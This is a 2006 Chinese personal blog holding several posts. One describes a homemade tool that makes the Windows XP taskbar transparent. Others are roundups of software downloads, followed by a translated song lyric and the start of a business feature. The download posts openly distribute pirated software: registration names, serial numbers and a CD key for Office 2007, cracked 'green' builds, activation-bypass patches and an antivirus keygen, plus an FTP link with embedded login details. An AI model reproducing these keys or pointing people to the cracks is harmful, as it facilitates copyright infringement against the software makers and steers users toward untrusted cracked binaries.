功能,你可以进行一趟地球的3D飞行之旅,体验飞过圣母峰的感觉。另外透过及
时动画形成的模组你可以即时体验飓风如果席卷佛罗里达州或者是气候变化情况。

        进入下载


相关关键字: earth google nasa wind world 盛宴 平民 风景 世界
posted @ 2006-07-14 15:23 MEYE 阅读(3218) | 评论 (6)编辑 收藏

不用主题软件:XP实现Vista玻璃效果

分类:技术论坛

 今天开始被破解的WinBlinds 5不能用了, 所以笔者就发个以前写的小程序, 这个小程序的主要功能就是让任务栏和开始菜单透明, 就像Vista一样。

  它可以设定为开机自动透明, 但是程序不会一直占用系统资源, 运行一次就会自动退出. 其实这东西没什么技术含量, 笔者索性就开源了。

  如果各位实在不放心的话, 可以下载源代码, 看看这程序究竟在后台干了些啥工作。

  如果你是第一次使用, 请运行 GTaskbar.exe. 接下来选择透明就行了, 然后可以放心的关闭程序, 不会影响效果。

  如果你以后再想透明的话, 直接运行 Redraw.exe 即可, Redraw.exe 这个程序没有界面, 后台运行 (就是把任务栏或者开始菜单透明) 后会自己结束进程, 之后完全不占用系统资源。


透明菜单预览图 1 (+上图可点击放大)

  开机自动透明的原理, 其实也就是开机自动执行一次 Redraw.exe。Windows 2000 下应该同样可以使用这个程序。

笔者共享了主要的代码, 高手应该一看就明白。各位要是喜欢的话可以根据源代码自己订制, 随便改就是了, 没关系的。源程序写得很简单, 但还是欢迎各位报告BUG. 另请高人指点一二, 见笑了。


透明菜单预览图 2 (+上图可点击放大)

  注意: 开始菜单变黑的, 这个应该不是我的问题, 因为大多数人使用都一切正常. 一般来说, 变黑以后换个主题就能恢复. XP 对透明函数的支持肯定不如 Vista, 笔者也没办法。

  避免变黑的方法是改变主题后不要急着点透明, 先点击几次开始菜单, 不行的话可以多试几次.

  透明后不能改变任务栏大小的朋友, 可以先把任务栏拖动到左右两侧, 再拖到最下面, 应该就可以了。

  相关下载:透明程序执行文件(RAR格式)    程序源文件(RAR格式)

你可以通过这个链接引用该篇文章:http://yanfeiyanfei.bokee.com/tb.b?diaryId=10691044

posted @ 2006-07-09 13:58 MEYE 阅读(668) | 评论 (2)编辑 收藏
【推荐】八月廿八★惟选精品★最爱这10款★

绝对逼真!!!破解屏保

Goldfish Aquarium v1.0

软件大小: 2.77 MB
    Goldfish Aquarium 是LifeGlobe 公司生产的一流产品。加强并改进了Marine
Aquarium方面的技术。Goldfish Aquarium 可以让你知道你的计算机的最近状态
和功率。其动态的画面,逼真的,惊人的动画是在这款软件的最新的提高。下载
安装就能认可这是符合用户要求的最完美的产品。

Code:25ahb-2v3t2-2kw3m-nnhfq

        点此下载

世界第一的ftp工具

FlashFXP v3.3.0 Beta 汉化版

软件大小: 2.02 MB

    功能强大的 FXP / FTP软件,融合了一些其他优秀 FTP软件的优点,如像 CuteFTP
一样可以比较文件夹,支持彩色文字显示;像 BpFTP支持多文件夹选择文件,能
够缓存文件夹;像 LeapFTP一样的外观界面,甚至设计思路也差相仿佛。支持文
件夹(带子文件夹)的文件传送、删除;支持上传、下载及第三方文件续传;可
以跳过指定的文件类型,只传送需要的文件;可以自定义不同文件类型的显示颜
色;可以缓存远端文件夹列表,支持FTP 代理及 Socks 3 & 4;具有避免空闲功
能,防止被站点踢出;可以显示或隐藏“隐藏”属性的文件、文件夹;支持每个
站点使用被动模式等。!

        点此下载

说实话,播放VCD,DVD他绝对是首选

豪杰超级解霸 V9.1 Build 0812

软件大小: 36.58 MB

    精湛的DAC 音频技术—聆听自然重现的天籁之音 DAC格式依据自然声学模型
进行音频编码,压缩解压CPU 占用率低,系统资源消耗小,85%-99% 的CD无损质
量,挑战音频压缩技术的极限,逼真重现高品质音频效果,音效几乎和CD没有区
别。使用DAC 工具集( DAC提取、制作和专辑)能让您轻松制作出高品质的DAC
音乐

        点此下载

萝卜青菜随你喜爱

FireTV烈火网络电视 V4.5 绿色完美破解版

软件大小: 791 KB
    《FireTV烈火网络电视》是一款优秀的卫星电视播放软件,目前拥有1000多
台卫星频道播放权。自设卫星接收服务器,采用倍压编码技术,带宽减少一倍,
并将试用用户与正式用户线路分离,保证了正式用户的流畅观看。

        点此下载

网络电视佼佼者

雷神高清晰数字网络电视2005(HDNTV) V3.31.5841 绿色完美破解版

软件大小: 1024 KB

    身在异乡的您想看家乡的电视台节目吗?身在办公室的您不想错过精彩赛事
怎么办?您是否觉得有线电视节目太有限?如果您是宽带上网,通过HDNTV-高清
晰数字网络电视软件,一切随心所欲。

        点此下载

目前播放器最火的一个是kmplayer,另一个就是他了

千千静听(Mp3随身听) v4.5.2+豪华全功能版

软件大小: 1.9 MB

一个集播放、音效、转换、歌词等多种功能于一身的国产专业音频播放软件。

        点此下载

绝对是最强的系统优化工具

TuneUp Utilities 2004 汉化绿色版

软件大小: 6.71 MB

    德国系统调校工具第一品牌 - TuneUp Utilities ,继 TuneUp 97在德国大
卖三十几万份之后,再度推出 TuneUp Utilities 企图攻占系统调整工具国际市
场!TuneUp Utilities的功能应有尽有,主要工具包括:系统改造/ 分析、硬盘
/ 登录文件清理、系统加速、记忆体最佳化、登录文件编辑、软件卸载、工作管
理员、文件还原/ 清理。扩展操作系统的能力:通过TuneUp Utilities 2004,
你能使Windows 运行更快、更安全、更舒适。其现代图形界面包括所有系统设置、
安全设定、清理和维护等功能。
使用说明:
1.解压后导入 注册.reg文件
2.软件的主程序是 Integrator.exe

        点此下载

强力的宽带优化工具

DSL Speed v3.0 英文版

软件大小: 1.28 MB

    在线自动检测获得最佳优化参数从而使DSL (e.g., ADSL , G.lite , IDSL,
SDSL)连接速度达到最大值。获得Topshareware.com、Filetransit.com 、Brothersoft.com
等下载网站5 星评价。

Name : crsky
Number : PDBF33JPCUQA

        点此下载

木马查杀最普及的软件,尽人皆知

木马克星(iparmor) v5.47.0825

软件大小: 2.77 MB

    木马克星乃本站原创反黑客-杀木马工具,可以查杀8122种国际木马,1053
种密码偷窃木马,保证查杀传奇密码偷窃木马,oicq类寄生木马,冰河类文件关
联木马,密码解霸,奇迹射手等游戏密码邮寄木马,内置木马防火墙,任何黑客
程序试图发送密码邮件,都需要Iparmor 确认,不仅可以查杀木马,更可以反查
黑客密码。
已含升级程序
用户名:木马克星赠送
注册码:276779514
        点此下载

包括Bt+Http,词霸,快译2006 原版,及免激活破解

金山词霸2006+金山快译2006原版镜像ISO+免激活补丁-绝对可下

金山词霸2006+金山快译2006原版镜像ISO--种子
金山词霸2006--高速
金山快译2006全功能绿色精简版
金山快译 2006 HTTP高速下载
金山词霸2006--免激活破解
金山快译 2006 免激活破解

        点此下载


永具魅力的经典回忆

        迅雷下载--〉新东方《4+1》flash全部教程

        点此下载--〉李阳疯狂英语全套  

        点此下载--〉Photoshop高级案例设计 CD光盘版 (视屏教程)  

        点此下载--〉卡巴斯基 5.0372绿色免安装全功能正式版  

        点此下载--〉真正★高速★office 2003专业版★企业版

        点此下载--〉全世界32539首Lrc格式歌词,十分难得  

        点此下载--〉中国古典四大名著- 语音版 v1.9  

        点此下载--〉金庸作品全集 v1.6 Final 语音朗读版  

       QQ 号码签发机 纯真3版

       全能绿色播放器---〉扔掉暴风影音吧,最强的全能播放器近日更新 KMPlayer 2.8.1020 中文版超强的8大功能

        不错的包裹---〉7000余首手机铃声和手机工具下载

        让你振颤的效果---〉年度论坛最火爆下载64k-3d动画10款,全收集

        多么令人怀念的游戏呀--〉魂斗罗 v2.6 风雪之战(硬盘版)

        点此下载--〉金山毒霸2005正版免费升级版下载+最新序列号+通行证这册+剑盟毒霸2005注册机最终纪念  


http://www.jj.js.cn/bbs/index.asp?boardid=23&page=


单词方面→疯狂单词2005 真人语音标准版 3.06

∷软件简介∷
疯狂单词在总结比较了数十种传统单词速记法的基础上,结合先进的计算机人工智能技术,首创了无忧单词记忆智能系统,第一次将机器学习,专家系统中的部分人工智能模型应用于单词记忆,并取得了巨大成功,被公认为智能化程度最高的单词记忆软件,2001年被中国软件行业协会评为学习类唯一优秀软件。2003年被世界权威电脑评测杂志《CHIP新电脑》评为“挑战记忆极限”编辑推荐背单词软件!2004年新浪下载突破百万,位列学习软件之首。疯狂单词依靠内建的词汇量动态估测,自动难度进级,效果自适应复习,随机试题生成、联想记忆等智能块,以及数百万字专家整理的记法例句记忆库,用户可以轻松进入一种疯狂状态,将单词记忆的效率发挥到及至。更兼有先进的真人语音和电脑语音合成技术和从小学到专业英语的数百个海量词汇库,让你轻松越过英语学习的第一道难关。
疯狂单词mp3制作功能的特色:疯狂单词MP3免费版强力推荐)
点此下载




posted @ 2006-07-09 13:03 MEYE 阅读(882) | 评论 (1)编辑 收藏
孤独的灵魂.全球点击率最高的歌


歌手NANA出生於非洲迦纳的一个富有家庭,很小的时候父亲就离他而去,母亲带著年幼的 Nana 到德国定居。肤色的歧视,家庭的破碎,使得NANA从小就在压抑的环境中生存。这首 Lonely 是他最有名的作品,也是最感人的作品之一。在这首歌曲中,爱情的失败,世事的的无奈,人与人之间的勾心斗角,都被他赤裸裸的展露在你面前。动情处的伤心呐喊,颓废时的无奈低吟,节奏布鲁斯,跳舞音乐,HIP HOP结合地天衣无缝。



NANA - LONELY
I am lonely lonely lonely
孤独的,孤独的,孤独的我
I am lonely lonely in my life
我的生活中只有,只有孤独
I am lonely lonely lonely
孤独的,孤独的,孤独的我
God help me help me to survive!
神呀,你来助我
Remember first time we met day one
记起第一次我们相见
Kids in the garden\' playin\'
花园里嬉戏,
games heaven\' fun
天堂般的乐趣
Excitin\' and amazin\' havin\'
只有呀兴奋,和疯疯颠颠
a real friend of mine
真心朋友
Feel my heartbeat and for
我的心在跳
real friend of mine
那一刻,我们面对面
Face to face and eye to eye
你望着我的眼睛,我望着你的眼睛
Usin\' our hands to buy and supply
我们的手也握在一起
Chillin\' is cool from january to june
一月到六月的天都是寒气
And we still stiked together
我俩在一起
like the glue
如胶似漆
And know the rules
真是良缘天赐
Forever you and i and believe
我们丝毫没有怀疑
it was clear
真的
If i ever should fall
如果我倒下去
i could count on you with no fear
想到有你,我就无所畏惧
Runnin\' out of time i see who\'s fake
可转眼一切都已过去,我看到你戴着假面具
Alone without protection
孤独像一条一条蛇
from all them snakes
一起来缠着我,
All for one one for all i was told
后悔有什么用,一切都已过去
Black white yellow no matter
不管什么颜色,我不在乎
if your young or old
你年轻还是年老
Nana\'s in the house to let you know
家里的娜娜告诉你:
What i see is how i fell and damn
我看到的只是我的伤悲
I\'m alone
孤独的我
I am lonely lonely lonely
孤独的,孤独的,孤独的我
I am lonely lonely in my life
我的生活只有孤独,孤独
I am lonely lonely lonely
孤独的,孤独的,孤独的我
God help me help me to survive!
神呀,你来帮助我
Everybody\'s tripppin\' on me
每个人都在与我过意不去
Oh lord come help me please
哦,主啊,请来助我
I did some bad things in my life
过去的我有何过错
Why can\'t you rescue me
为何你却不来拯救我
\'cause you\'ve got all i need
是你给了我一切
I know i got to pay the price
我知道我是咎由自取
Cheppin\' thru the streets at night
混乱,还有争斗
after a fuss and fight
夜晚的街在颤抖
Tears in my eyes i\'m a man
眼中充满泪水,
lookin\' for the light
我四处寻找光明
Dark is the path
可黑暗挡道
i know he will rescue me
我知道主会来救我
The lord is my Shepard
主呀,我的牧羊人
i\'m cool despite emergency
我从未感觉,天是这么冷
Whom shall i fear exept the god
上帝,只有你我才不让我恐惧
Thank you for the blessin\' a
感谢你,
nd the skils on the mic
时刻在保佑我
Five years we know there\'s no diggity
五年过去
Free at last see the light in me
终于,我心中再现光明
What goes up must come down
怎样来还怎样去
I\'ll be around while you
有我在身边
heading towards deathtown
哪怕走向死亡深渊
Allways look forward hardly
一直向前走
never look back
永不回头
So many tears and
泪水啊浇在心头
the snakes on my jock
还有孤独紧紧缠着我
Now i\'m riding in my big fat ride

Your ass is late so look for the line
你迟了,还在左顾右盼
Nana in the house to let you know
娜娜在家,你知道
What i see is how
我看到
i feel so leave me alone
我是如此的孤独
I am lonely lonely lonely
孤独的,孤独的,孤独的我
I am lonely lonely in my life
我的生活里只有孤独,孤独
I am lonely lonely lonely
孤独的,孤独的,孤独的我
God help me help me to survive!
神呀,来助我
Knock on my door whom you lookin\' for
敲门人,你在找谁
A dream or reality enemies at my door
是梦境还是敌人
Eyes i realize
是幻想,
it\'s fantasize i must be high
我必须抛开
So let me live before i die
只要没死,我就要活
Once again grab the
再一次
bottle twist the cap
抓起瓶,拧开盖子
To survive your life
救命
is yours my life is mine
你的命是你的,我的命是我自己的
No emotions in this world full of lies
欺骗的世界里,还讲什么感情
Step by step and be versatile
你有你的,我有我的方向
Love peace and cash
爱和平和爱钱
that\'s what is\'s all about
一切都无法改变
Alone by yourself than you
是你亲手酿成孤独
lack there\'s no doubt about
毫无疑问
I\'m always into something
我总是要求
making moves to improve
变化提高
What would you do
你能做什么
if you were in my shoes
如果你在我的脚下
Boom a letter oops another suicide
写好遗书,再来一次自杀
Meet me for a ride at the boulevard
在林荫大道上骑车遇见我
Nana\'s in the house to let you know
娜娜在家,你知道
What i see is how i feel
我看到
and damn i\'m alone
只有死一般,孤独的我

↑↑↑
这就是歌手NANA

posted @ 2006-07-06 19:58 MEYE 阅读(3324) | 评论 (3)编辑 收藏
办公软件

QUOTE:
Office 2007 简体中文版(提供的三个下载的软件都是一样的,随便下哪个都行。。。。)
文件大小:441 MB
软件语言:简体中文
  解压缩密码:
www.yabor.com
mo2007   CDKEY: TT3M8-H3469-V89G6-8FWK7-D3Q9Q
前段时间从微软内部得到准确消息说Microsoft Office 2007 Beta 的本地化版本基本上已经开发完毕,今天发布部分截图。如果想体验的话,可以


Office 2007 简体中文版
点击直接下载  
下载地址3:
ftp://yabor1:yabordown@www.yabor.com:8000/office/Office 2007 简体中文版/Office 12 Suite.iso (请复制地址用迅雷等工具下载)


QUOTE:
  下载页面 又一个下载(同上。。。。)


QUOTE:
永中集成Office2007 Beta版下载
永中集成Office在一套标准的用户界面下集成了文字处理、电子表格和简报制作三大应用;基于创新的数据对象储藏库专利技术,有效解决了Office各应用之间的数据集成共享问题,是"第一个真正的Office".永中集成Office可以在 Windows、Linux和Mac OS等多个不同操作系统上运行.历经多个主要版本的演进,永中集成Office的产品功能丰富,稳定可靠,可高度替代进口的同类软件,且具备诸多创新功能,是一款自主创新的优秀国产办公软件.
下载:For Windows 标准版
下载:For Linux 标准版
  永中集成Office不仅可以轻松胜任快速编排各种复杂文稿、书籍、小报、图文及标准公文,更可进行便捷的数据获取与输入、快速准确的复杂数据运算、多样的报表输出,效果丰富的简报编辑和放映等各种工作。
  永中集成Office 2007版展现了8大新特点:
亲和的界面体验,相同的使用习惯,消除了Office平台移转的障碍:
新增任务面板,操作熟悉简便灵活;
动态菜单,随使用者需要动态变化,简洁易用;
四套清新的界面风格,满足个性化需求;
符合中文习惯的项目符号和编号时尚又实用。
文档精确兼容,交换无忧:
双向精确兼容微软Office文档,同时支持打开微软Office碎片文件;
正确存取含加密的微软Office文件,安全可靠;
大幅改进网页文件兼容,双向无障碍兼容微软Office生成的网页文件;
率先支持即将发布的国家中文办公软件文件交换标准(UOF),可存取基于XML的UOF文件;
通过字符模式支持无级缩放,支持输出高保真PDF文件;
用户可定制文档保存类型,支持默认保存为微软文档格式,方便易用。
面向专业应用,全面提升功能:
文字处理:增强自由表格,支持手绘;支持页内分栏、连续分节、紧密绕排和文档网格等功能,精确排版复杂版面;支持大纲视图、文档结构图和窗口拆分等功能,编辑长文档更直观方便;支持手写批注和多人修订显示及保护,办公更轻松;提供样式面板,设置格式更方便;
简报制作:支持数百种复合动画,直观易用的自定义动画让您轻松成为简报专家;幻灯片设计面板呈现多种模板,即时预览,制作简报更直观更专业;
电子表格:支持数据透视表,轻松实现数据分析查询和报表输出;扩容工作表多达65536个,满足大容量数据处理的需求;
图形和图表:支持绘图画布,改进图形显示和操作方式,选取复合图形和设定图形格式更便捷;支持图表内部显示版式的随意调整,改进图表精度,刻度更精确。
深化创新研究,增强特色应用:
新增链接管理器有效管理各种链接数据,提供目标定位、断开链接等功能;
进一步强化中文特色功能,支持首字下沉、带圈字符、合并字符和文字工具等;
支持插入国家公文二维条码标准,可插入、编辑、输出公文二维条码;
科教模块改善数理化符号和素材的精度及分类;新添生物和地理学科并新增函数图像的自动生成功能;支持在线科教素材,提供素材扩展,提升适用性。
二次开发可扩展性进一步增强:
提供基于JAVA的插件平台,支持插件开发,增删功能易如反掌;
支持自定义函数,用户可开发自己的特定函数;
支持菜单挂宏、界面定制,提高了可移植能力。
优化数据结构,大幅提升性能:
统一数据结构,优化数据对象储藏库技术,综合速度提升50%以上,耗用内存减少50%以上。
深度跨越平台,广泛面向国际:
继支持跨越Windows和Linux操作系统之后,现已支持在Mac OS操作系统上运行;继简体中文、繁体中文、英文和日文语言版本之后,又推出阿拉伯文、法文、维文等多语言国际化版本。
精心改进细节,使用性大幅提升:
开始工作、新建、剪贴板、样式、幻灯片版式等任务面板,让操作和结果一步到位,直观方便;
支持跨应用软件带格式复制粘贴,如支持网页及微软文档中原样复制丰富格式内容,省时省力;
导航面板内支持跨集成文件移动子文档,支持导入导出文档,文档移植不再麻烦;
支持在线升级,提供在线模板,即时分享互联网最新成果。
精简版说明:
为方便网络用户下载使用,在完整版基础上精简了部分资源,以下功能被简化或去除,此外的其余功能与完整版无差异:
精简版不提供在线和在屏帮助;
精简版减少了模板数量,仅提供少量的随机模板;
精简版减少了随机的字体和图片资源;
精简版不提供在线升级功能及产品在线注册。  


QUOTE:
WPS Office  2003迷你版2003迷你版
WPS Office 2003优秀特性:
1.提供开放的数据接口 WPS Office 2003
提供了标准的二次开发接口,它拥有完整的对象层次和丰富的接口函数,支持低级语言(C,C++)的高效率开发,同时还支持一些脚本语言(如BASIC)的开发,以及可以实现在网页中编写脚本运行。
WPS Office 2003
立足于办公自动化的基础建设,通过开放的数据接口,实现与办公自动化系统的无缝连接,单机与网络的平滑过渡,丰富了办公自动化系统的功能,可以与办公自动化系统(OA)有效结合,提供一整套成熟且适应于行业应用的办公解决方案。
2.中间层技术 WPS Office
2003定义了一套非常完整的通用数据传输协议(我们定义为“中间层”),通过中间层,可以将应用程序的所有数据用一种标准的形式输出,任何可以理解中间层协议的接受方都可以解释接收到的数据。这种技术使数据交流更加通畅,她具备了XML的优点,同时因为它是一个二进制级的协议,非常适合本地应用程序之间的通讯。  

3.格式兼容通过对Microsoft Office文件格式分析,我们除全面地掌握了其文件格式的同时,WPS Office
2003还配合使用中间层技术,实现了从Microsoft Office到WPS,以及从WPS到Microsoft Office
2003文件格式的转换。从全面公正的技术评测结果,我们可以看出WPS的格式兼容已经取得了突破性的进展。同时由于中间层的灵活性,我们还能非常容易的实现WPS
Office 2003与其他文件格式的转换,起到事半功倍的效果。
4. 高效办公 WPS Office
2003含有批量转换工具,实现大量文件格式之间的相互转换,还支持对目录的操作,在优秀兼容性的基础上进一步减小换装成本;同时支持局域网内自动升级,有效降低您系统维护的压力;并且两年内免费升级和定期的服务与培训,进一步降低您的维护成本。

5. 专注中文 WPS Office
2003具备文字、表格、演示、邮件四大模块,完全满足现代办公对软件的需求;符合中文行文习惯的标准公文模版、商业模版大大方便了业务文档的起草,共有32大类,280个不同样式的标准模版可供选择。
http://www.hq163.cn/Soft/ruanjian/bgyy/200511/19.html


QUOTE:
≡  Microsoft Office Lite Edition 2003  ≡
::软件简介::

≡  Microsoft Office Lite Edition 2003  ≡

■Office 2003的版权属于微软公司所有。

■本程序的下载、使用及免责条款,敬示如下:

﹡本程序并非由原公司所开发,纯属本人为方便个人研究、学习该软件而自行制作,原始软件的所有权利皆属于微软公司。

﹡本人仅在原始程序的基础上进行不涉及软件内核的软件界面的修正,并仅对程序执行代码作极为必要的更改。而程序如果有任何错误,如果不是原程序所带,也绝非本人刻意造成,所以您使用此程序是您的自由选择,本人并不对可能由此给您的计算机系统带来的任何问题负责。

﹡不得将本人的作品用于任何商业用途,并在个人研究、学习之后立即删除本程序。

                                                            飞鸟Aaron工作室 2005.03.10
===============
===============
附:根据二○○二年一月一日《计算机软件保护条例》规定:为了学习和研究软件内含的设计思想和原理,通过安装、显示、传输或者存储软件等方式使用软件的,可以不经软件著作权人许可,不向其支付报酬!

鉴于此,也希望大家按此说明研究软件!谢谢
=======================================
下载地址:http://www.d-dd.org/Soft/softc/softc6/200511/186.html
http://www.sanhaoonline.com/down ... /20021115-1041.html(破解版)

十万个为什么 V1.5┊大量计算机应用技巧┊注册绿色版

运行环境:Win9X/WinXP/Win2000/
软件语言:简体中文
软件类型:原创绿化
软件大小:4.54 MB

  
  
  收集了大量的计算机应用技巧,介绍电脑应用的基础知识。 不论是菜鸟还是高手,都能找到许多有用的东西。

  注册信息:
  姓名:csks[cscg]
  注册码:212221272327

  点击下载


][下载][合集]十几款不错的小软件

[07.04][下载][合集]十几款不错的小软件

QUOTE:
本日更新:

Studioline Web 1.24 B3 : 专业Web站点的全面解决方案

Adobe Photoshop 7.2 迷你版 : 绝对经典的、极负胜名的图像处理工具

Acme CAD Converter 6.51 : 一款优秀的多功能CAD图形管理软件

虚拟相册制作系统 1.26 : 虚拟再现真实世界的精美3D相册

Web Page Maker 2.2 : 一个易于使用的网页编辑器

PhotoWatermark 6.1: 强大的数码照片添加水印的工具

Messiah Studio 2.4 : 一个强大的渲染器

Dreamweaver 8.01 简体中文正式版 : 业界领先的 Web 开发工具

PhotoLine32 v12.05 : 一个具有专业水准的图形处理软件

MemoriesOnTV v3.00 : 一个功能非常强大的电子相册制作工具

KoolMoves(flash 动画制作) V5.30 : 一个动画制作软件,能够制作 Flash movies 以及与动画相关的内容

Agama Web Buttons(按钮制作) v2.60 : 让你数分钟内制作独特、专业质量的web按钮的工具

UGO TOOL1.39 : 一个用来生成可以震动的GIF动画的小工具

IconCool Editor V4.90.60410 : 一个Icon编辑的工具软件

Visual Watermark(添加水印) V2.2 : 为数字照片添加保护的水印工具
Studioline Web 1.24 B3

软件性质: 商业软件
文件大小: 75M
版本号: 1.24
语言界面: English

软件描述: 专业Web站点的全面解决方案。将Web站点的创建、发布和升级工具集成于一个用户界面之中。StudioLine Web Edition 这个同样也是「所见即所得」的网页设计辅助软件能提供强大的辅助功能,包括建立拼图式图形、在你页面上使用影像工具及加上特效,并可立即预览结果。它还提供了︰图像取得、图像文件柜、图像工具、页面模板、图层样本、连结管理(检查错误连结)、特殊图像特效、投影片播放、电子邮件整合、高品质打印、网页发布、发布管理及输出等功能。

下载页面:http://www.transod.com/data/buil ... 787289393756986.htm




Adobe Photoshop 7.2 迷你版

软件性质: 商业软件  
文件大小: 21M
版本号: 7.2
语言界面: 中文

软件描述: 绝对经典的、极负胜名的图像处理工具。此版Adobe Photoshop 7.2 经典迷你中文优化版是Photoshop汉化系列中的不可多得的精品。Adobe Photoshop 是图像处理软件中最赫赫有名的软件之一,它几乎是图像处理的代名词。

下载页面:http://www.transod.com/data/buil ... 787289370006378.htm




Acme CAD Converter 6.51

软件性质: 商业软件
文件大小: 5M
版本号: 6.51
语言界面: English

软件描述: AcmeCADConverter是一款优秀的多功能CAD图形管理软件,它可以浏览不同版本的DWG和 DXF文件(R2.5—R2005),并可以将CAD图形文件批量转换为GIF,JPEG,PCS,DXF,DWG,SVG,HPGLetc等格式,快速的将CAD图形文件输出为矢量图形,将图形文件另存为任意大小的高精度位图以方便在Photoshop等软件中进行处理,支持全屏幕方式,支持彩色及单色的图形文件和光栅文件的打印输出并可自由地设置背景颜色,支持shx字体文件,xref块文件,和光栅文件的导入,支持创建对dwg和dxf文件的关联。完美的支持CAD图形中文字体的显示。

下载页面:http://www.transod.com/data/buil ... 790592240923092.htm




虚拟相册制作系统 1.26

软件性质: 共享软件
文件大小: 10M
版本号: 1.26
语言界面: 中文

软件描述: 特点:1、虚拟再现真实世界的精美3D相册。2、生成的相册可以脱离系统独立运行。3、操作简单,三分钟拥有自己虚拟3D电子相册。4、快捷的屏保制作功能,可以轻松打造个人桌面主题。 5、多种相册模板供您选择,适应您的不同需求。6、高清晰的图片缩放能力,使得相片的缩放依旧清楚如初,而不会出现马赛克。7、生成的相册可以设有密码保护功能,充分保护您的隐私。8、相册观赏时扮有美丽的美景音乐(可支持多种音乐格式:MID,WAV,MP3等)。9、简单的图片编辑处理功能,满足你的基本需求。10、支持多种图片格式。

下载页面:http://www.transod.com/data/buil ... 791435957256060.htm




Web Page Maker 2.2

软件性质: 共享软件
文件大小: 6M
版本号: 2.2
语言界面: 中文

软件描述: Web Page Maker 是一个易于使用的网页编辑器,它可以使你在几分钟内就创建并上传你的网页,并且不需要你了解任何关于 HTML 的知识。你只需要拖曳对象到页面中并随意的调整它们的位置即可。程序还包含了多个精美的模版让你更加容易的设计出专业的网页。程序还包含了多种导航条,并且可以让用户自由的控制导航条。另外,程序还包含了取色器、Java Script 脚本库、图像库以及简易的 FTP 客户端。

下载页面:http://www.transod.com/data/buil ... 791435930075172.htm




PhotoWatermark 6.1

软件性质: 共享软件
文件大小: 5M
版本号: 6.1.2.2
语言界面: 中文

软件描述: 强大的数码照片添加水印的工具,制作过程简单有效,支持批量操作。可以使用文本,图片的混合来设计水印。自动对象可以从你的图片中提取出不同的EXIF数据。多级透明设置,支持JPEG, TIFF(包括多图TIFF), BMP, GIF (包括动画 gif), PNG,JPEG2000格式.

下载页面:http://www.transod.com/data/buil ... 793306804808106.htm




Messiah Studio 2.4

软件性质: 商业软件
文件大小: 35M
版本号: 2.4
语言界面: English

软件描述: messiah:studio是一个强大的渲染器,由业内最著名的公司和艺术家共同开发,应用于从电影、商业广告到音乐video、游戏等各个方面。
messiah:animate是其中独立的动画软件包,可以独立使用,也可以和Maya, 3D MAX, LightWave, Cinama 4D 8等一起使用。可以用它来创建动画,并且通过messiah的连接,在messiash关联的软件中播放和使用之。同时提供了大量的API供开发各种插件。

下载页面:http://www.transod.com/data/buil ... 794168581267226.htm




Dreamweaver 8.01 简体中文正式版

软件性质: 商业软件
文件大小: 161M
版本号: 8.01
语言界面: 中文

软件描述: Dreamweaver 8 是业界领先的 Web 开发工具,通过该工具使用户能够高效地设计、开发和维护基于标准的网站和应用程序。

Dreamweaver 8.0,简体中文版正式发行。使用 Dreamweaver 8.0,Web 开发人员能够完成开发的全过程,从创建和维护基本网站到支持最佳实践和最新技术的高级应用程序.

下载页面:http://www.transod.com/data/buil ... 797577321781316.htm




PhotoLine32 v12.05

软件性质: 商业软件
文件大小: 15M
版本号: 12.05
语言界面: English

软件描述: 一个具有专业水准的图形处理软件,支援 Layer,并且也内建许多现成的滤镜和特效功能,轻轻松松就能做出令人惊讶的影像效果。它也可让使用者轻松的检查自己的图形文件。

下载页面:http://www.transod.com/data/buil ... 804344400016479.htm




MemoriesOnTV v3.00

软件性质: 共享软件
文件大小: 9M
版本号: 3.0
语言界面: 中文

软件描述: PicturesToTV 从 v2.0 版本更名为 MemoriesOnTV , MemoriesOnTV 是一个功能非常强大的电子相册制作工具!他可以帮助你快速的制作出非常漂亮的电子相册,支持背景音乐,内置多种图片显示特效,自带多种非常漂亮的菜单模板!让你轻松制作专业效果的电子相册!而且程序可以直接把制作好的电子相册烧录成光盘!你可以把它寄给你的亲人,让他们不需要打开电脑就可以和你分享你的快乐!  

下载页面:http://www.transod.com/data/buil ... 805386697355120.htm




KoolMoves(flash 动画制作) V5.30

软件性质: 共享软件
文件大小: 9M
版本号: 5.30
语言界面: 中文

软件描述: 一个动画制作软件,能够制作 Flash movies 以及与动画相关的内容。Flash movies 是一种压缩率相当高的网络动画文件格式。该软件还能够制作动画 GIF、制作文字特效、导入矢量剪贴画、附加WAV 音频文件;为文字按钮和帧增加动作...
完全支持汉字的文字特效!
汉化增强版打包了官方的571种不同类型的组件包,使你更方便的制作动画

下载页面:http://www.transod.com/data/buil ... 810545536268090.htm




Agama Web Buttons(按钮制作) v2.60

软件性质: 共享
文件大小: 12M
版本号: 2.6
语言界面: 英语

软件描述: 让你数分钟内制作独特、专业质量的web按钮的工具,可从预定模板制作多种2D和3D水晶、金属、塑胶甚至XP样式的web按钮。 基本安装包括25个包共150个按钮模板供你选用。

下载页面:http://www.transod.com/data/buil ... 811245701952617.htm




UGO TOOL1.39

软件性质: 共享
文件大小: 2M
版本号: 1
语言界面: 中文

软件描述: 一个用来生成可以震动的GIF动画的小工具

下载页面:http://www.transod.com/data/buil ... 812135346362221.htm




IconCool Editor V4.90.60410

软件性质: 共享软件
文件大小: 5M
版本号: 4.9
语言界面: English

软件描述: 这是一个Icon编辑的工具软件,它可让你同时编辑10个Icon,在使用上也相当容易,具有21个图形滤镜可供你使用,如:模糊、尖锐、浮雕花纹等等。它还提供了13个影像处理效果,并具有影像撷取的功能,也可以改变色彩由单色到24bit color。

下载页面:http://www.transod.com/data/buil ... 816565859149069.htm




Visual Watermark(添加水印) V2.2

软件性质: 共享软件
文件大小: 4M
版本号: 2.2
语言界面: 中文

软件描述: 为数字照片添加保护的水印工具,此工具会把为您的数字照片加上很难去除的水印。防止你的照片被未验证的用户使用。

下载页面:http://www.transod.com/data/buil ... 816565838054374.htm


相关关键字:
软件


posted @ 2006-07-04 21:54 MEYE 阅读(1162) | 评论 (5)编辑 收藏

中国财富“帮派”全揭密(组图)

2006-07-01 22:48:43 来源: 千龙网  网友评论 0进入论坛 黑马推荐

  有人的地方就有江湖,人就是江湖——金庸

  地域特征已经成为传统中国人无法磨灭的印记,同样,中国民营企业江湖也不例外。我们看到了无处不在的江浙帮、底蕴深厚的山西帮、儒雅厚道的安徽帮、终日忙碌的广东帮……也许,正是有了这些展现中国不同地域特色的“帮派”,中国的民营企业江湖才如此生动,如此富有魅力。让我们一同走近中国的民营企业家,走近这个承载了太多荣辱沉浮的江湖,从地域的角度去感受那些有代表性的江湖中人,去打开一张民营企业家的江湖地图。

  不断变换的风景:每天都有人退出,每天都有人加入,今天的江湖和昨天的不一样,明天的江湖更加难以预期……

山西帮(山西、陕西):少林

